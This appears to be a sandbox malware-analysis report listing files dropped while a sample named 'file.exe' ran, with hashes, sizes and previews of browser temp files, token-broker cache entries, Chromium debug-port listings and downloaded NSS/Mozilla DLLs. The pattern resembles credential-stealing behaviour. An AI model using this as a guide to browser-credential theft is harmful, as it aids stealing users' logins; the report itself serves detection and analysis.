SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\af0768db-8965-46b5-ad3d-5a020dbeb1e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46137
Entropy (8bit):	6.08700622330838
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgF90acuAhDO6vP6O81x9CPa4JDJIsPPrMhy1DhSCAopGoup1X2:mMk1rT8Hl9066kLAY01sRophu3VlXr4h
MD5:	5E4B66422E307188F3F9C21A113214FE
SHA1:	CA1790C4729A7CE942DD952950945C2FB465BB7D
SHA-256:	24E928F2A25C959ED73AAB329766A585AB2368ED2AD0B8C54D2A1B3021D55996
SHA-512:	138421A2C0E5A81AD5BDDDC5F44475CF068D9B102E8C90FC256B0D22AF1E6FAE718D28B6C8EC96521E74B050454AAEA014B86AAFE6CCFE7240643B9B1AC83041
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cf24d14a-9c24-4ce5-abd1-e04c4963b5cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46060
Entropy (8bit):	6.087080613333955
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx90acuAhDO6vP6O81x9CPaEJDJIsPPrMhy1DhSCAopGoup1X2:mMk1rT8HR9066kLAA01sRophu3VlXr4h
MD5:	60572DBE8E955FC9A9B1569AE6D0ECC8
SHA1:	1A01BB42A7350996D0B5445723ECD208BE610665
SHA-256:	B02EFF004D5F6A63AAF13904DDD18A614D9945022E9DDC78CE6D19E68A3E7589
SHA-512:	BE40E5537E9A7B13CD752371242D841B5A4B571A716B93D98B182874FD124BF8FE2921FED3ECE227EE89C47236477A4105F81474BC11C97CD9F12C2FA2101502
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f5540284-ef72-412d-a129-50c1762c32b2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.095945004904046
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB4wuzhDO6vP6O81x9CPa4nxmGKxmrFMcGoup1Xl34:z/Ps+wsI7ynEL6kLAOchu3VlXr4CRo1
MD5:	456D7B3F9A3B62248AF8EA9C9D9312EE
SHA1:	A2A3E9B6EFB9B779D91CA6CC6680B4FF37F2E310
SHA-256:	F3DDEA22A907CD5130D50CE326037B55266A582878325E7C3DEB0A781686AEEE
SHA-512:	2B944D8AA28BF58E456909A005FD9E8DF1C5E7B1AC6A1B5D20E67224B65188DEE276DBB5E8B04B12EAD35AF25748F70AC3B63F9949168E6DEBE526B03CFA87C6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fe3f4aad-5998-4ab6-8e73-e4338643ca95.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46013
Entropy (8bit):	6.08728902778445
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx90acuAhDO6vP6O81x9CPaEJDJIsPPrMhy1DhSCAopGoup1X2:mMk1rT8HR9066kLAA01sRophu3VlXr4h
MD5:	525FB98F02411D2E19AEFE5DC4D0B625
SHA1:	806C621538432A320F37E782747B0A68FCEB1D84
SHA-256:	7B99606EA21546EC66A3900E5F93108E26538C49A2E1664359403F13AD7EFC22
SHA-512:	97968C4C3F814A075B7B498B380C4155CCC7978329BA421487446D5D745AD7E41940CF6A14C38A043911A578932220D385A88B1E933842FA699E72E3946F7404
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.851504152426591
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxvxl9Il8uzcTaJagsFpR9Gd1rc:mWY1cQmn9
MD5:	810AD94E02160D51B2C27DE8B6E796AE
SHA1:	EF682DCB51CE18BD53D4FCBC9D07B65EDA1AEEF5
SHA-256:	9E64DEFA2AC17B2693456291FF4D88B0F4D09E479EF709BACE191262057F7050
SHA-512:	006F3BF09FD37D89433266FF2FE108D182D0B31A55435EFA563AE19DC11E212D777D02C5D8F137EDE91815F0A1F46713B94700E8F122104226063E6F8B09749F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.C.2.t.D.k.I.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.v.X.L.G.V.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001590633945655
Encrypted:	false
SSDEEP:	96:zYo/0PLbMA0csrI5kt11QM0ONJhahfvFlrKK:zyPLbIc32tfIShaZvFn
MD5:	9555122BFB6D766026470A3247FA2F49
SHA1:	E83D291D09FF150B595DB47522F53D373B9EEACC
SHA-256:	5E71F88CFBF4E3F61A178295C067F953ABC1BF410AC772807E4836450C523B71
SHA-512:	56710F16EF127B17053043D284E075BECD1747759174AC3B043380849430ED7BE04821879EA5EF3513A9C707AA2D87E129F9060BBB467A84593BC2FAC7417B2D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".1.+.X.3.8.z.k.q.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.v.X.L.G.V.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.907772193086809
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xJxl9Il8uXlWqjxt62Q3OllpRIlfwW/5nkHUh9HXdDd/vc:aHYTWqNtzrlQlf5nk0b4
MD5:	5030A045095244EFBEB76DDC9EAC8B7F
SHA1:	EA516B5A71D3121CF60BAC4B09B499ED271753C9
SHA-256:	93267E5DD4458078F00B913793A114C99A15439FA23508A080CB2ECB08C5DCE8
SHA-512:	0C2CA760578500C37AA0C766102822464897DE7A1F1E6C11E195B2C55D6F5549BE6DBB3E72D507977FB7419B0AE12A0E636264F782FCC2F9930B5CD51C36603D
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".2.t.Z.C.J.A.t.J.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.U.v.X.L.G.V.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.396374609334905
Encrypted:	false
SSDEEP:	96:6NnQ2HQiNnQwuWbQw1NnQ2Qm9Q2NNnQddgEQ5NnQ4Q5NnQEDQ7NnQUwQfNnQZaQH:6NBNtuo1NzQGNNkINWNhoNLjNc
MD5:	12B3BCFC685B5D789A11AE2610B42D7E
SHA1:	295EFD4D901AEADCDC19954DCCC4A7A99256908E
SHA-256:	95DA971501D0B891DC1F3624A1590E64F173A842FE9F4A1E5D106FFBDEF57519
SHA-512:	76D28BB8D44D20650D678657742F863FCA49D7E913B471BF1328EE670C68592AD4C434B56F98D3B0E293729AD8780FA00DA9103131A3A793AB212A3974DE2626
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/7004E0CAEB8955640995F6907E8FBA1E",.. "id": "7004E0CAEB8955640995F6907E8FBA1E",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/7004E0CAEB8955640995F6907E8FBA1E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/157DCA4A821562C71E6F16C4BF1DFA8E",.. "id": "157DCA4A821562C71E6F16C4BF1DFA8E",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/157DCA4A821562C71E6F16C4BF1DFA8E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.374015251354734
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQ6fNaoQEKuQEhfNaoQZQSfNaoQgp0UrU0U8Qt:6NnQVTEQCNnQEKuQE9NnQZQ6NnQY0UrG
MD5:	C3E485F63CECC8D90A7EC7959640BE3D
SHA1:	1BA95D9B1637894ED7425742C6F883463590DD2D
SHA-256:	279E07BBA77C9457505870481E6A214284D51849C6B18D440808334E2C06762F
SHA-512:	A006E212BA328EC6E36EE19865610D6CA06044D1D94FEDA1377DD684563097CC9FDC1CBDF4AED8102BD900A27BF549A57C09DEBC2DDBA71C235D051A18093E5F
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/204BAF24C73DED9EB98E97ECD692C479",.. "id": "204BAF24C73DED9EB98E97ECD692C479",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/204BAF24C73DED9EB98E97ECD692C479"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/CAB85D145D8163F3DCED086104233996",.. "id": "CAB85D145D8163F3DCED086104233996",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/CAB85D145D8163F3DCED086104233996"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
